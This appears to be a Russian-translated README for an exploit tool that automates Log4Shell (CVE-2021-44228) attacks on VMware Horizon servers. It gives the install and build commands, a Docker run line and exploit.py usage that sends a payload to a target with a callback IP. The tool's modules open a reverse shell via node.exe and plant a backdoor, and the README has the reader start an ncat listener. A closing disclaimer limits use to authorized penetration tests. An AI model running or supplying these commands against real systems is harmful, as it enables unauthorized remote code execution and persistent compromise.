
Эксплуатация CVE-2021-44228 в VMWare Horizon для удалённого выполнения кода и не только.
Эксплуатация CVE-2021-44228 в VMWare Horizon для удалённого выполнения кода и не только.
Код и README.md на этот раз немного разрознены. Обновления скоро!
PoC-эксплойты для этой уязвимости разбросаны по разным источникам и требуют ручного выполнения. Этот репозиторий автоматизирует процесс эксплуатации. Смотрите пост в блоге выше для рекомендаций по пост-эксплуатации.
Этот репозиторий можно использовать вручную или с помощью Docker.
Чтобы загрузить и запустить эксплойт вручную, выполните следующие шаги. Сначала убедитесь, что на вашем атакующем хосте установлены Java и Maven. Для этого с помощью apt в дистрибутивах на основе Debian выполните следующую команду:
apt update && apt install openjdk-11-jre maven
Клонируйте репозиторий GitHub и установите все зависимости Python:
git clone --recurse-submodules https://github.com/puzzlepeaches/Log4jHorizon \
&& cd Log4jHorizon && pip3 install -r requirements.txt
Из корня репозитория Log4jHorizon скомпилируйте проект Rogue-Jndi с помощью следующей команды:
mvn package -f utils/rogue-jndi/
Сначала убедитесь, что на вашем атакующем хосте установлен Docker. (Я не буду объяснять, как это сделать)
После этого выполните следующую команду, чтобы клонировать репозиторий и собрать Docker-образ, который мы будем использовать.
git clone --recurse-submodules https://github.com/puzzlepeaches/Log4jHorizon \
&& cd Log4jHorizon && docker build -t Log4jHorizon .
Чтобы запустить контейнер, выполните команду, аналогичную следующей, добавив свои флаги командной строки. Обратите внимание, что контейнер не перехватит обратную оболочку. Вам нужно создать ncat-слушатель в отдельной сессии оболочки:
docker run -it -p 1389:1389 Log4jHorizon \
-r -t horizon.acme.com -i 192.168.1.1 -p 4444
usage: exploit.py [-h] -t URL -i CALLBACK [-p PORT] [-r] [-b]
optional arguments:
-h, --help show this help message and exit
-t URL, --target URL VMWare Horizon IP
-i CALLBACK, --ip CALLBACK
Callback IP for payload delivery and reverse shell.
-p PORT, --port PORT Callback port for reverse shell.
-r, --revshell Module to establish reverse shell using node.exe.
-b, --backdoor Module to add backdoor.
Получите обратную оболочку с помощью инструмента, установленного в вашей локальной системе:
python3 exploit.py -r -t horizon.acme.com -p 442 -i 192.168.1.1
Этот инструмент предназначен для использования во время тестирования на проникновение; использование этого инструмента для атак на цели без предварительного взаимного согласия незаконно. Ответственность за соблюдение всех применимых местных, государственных и федеральных законов лежит на конечном пользователе. Разработчики не несут ответственности и не отвечают за любое неправомерное использование этой программы.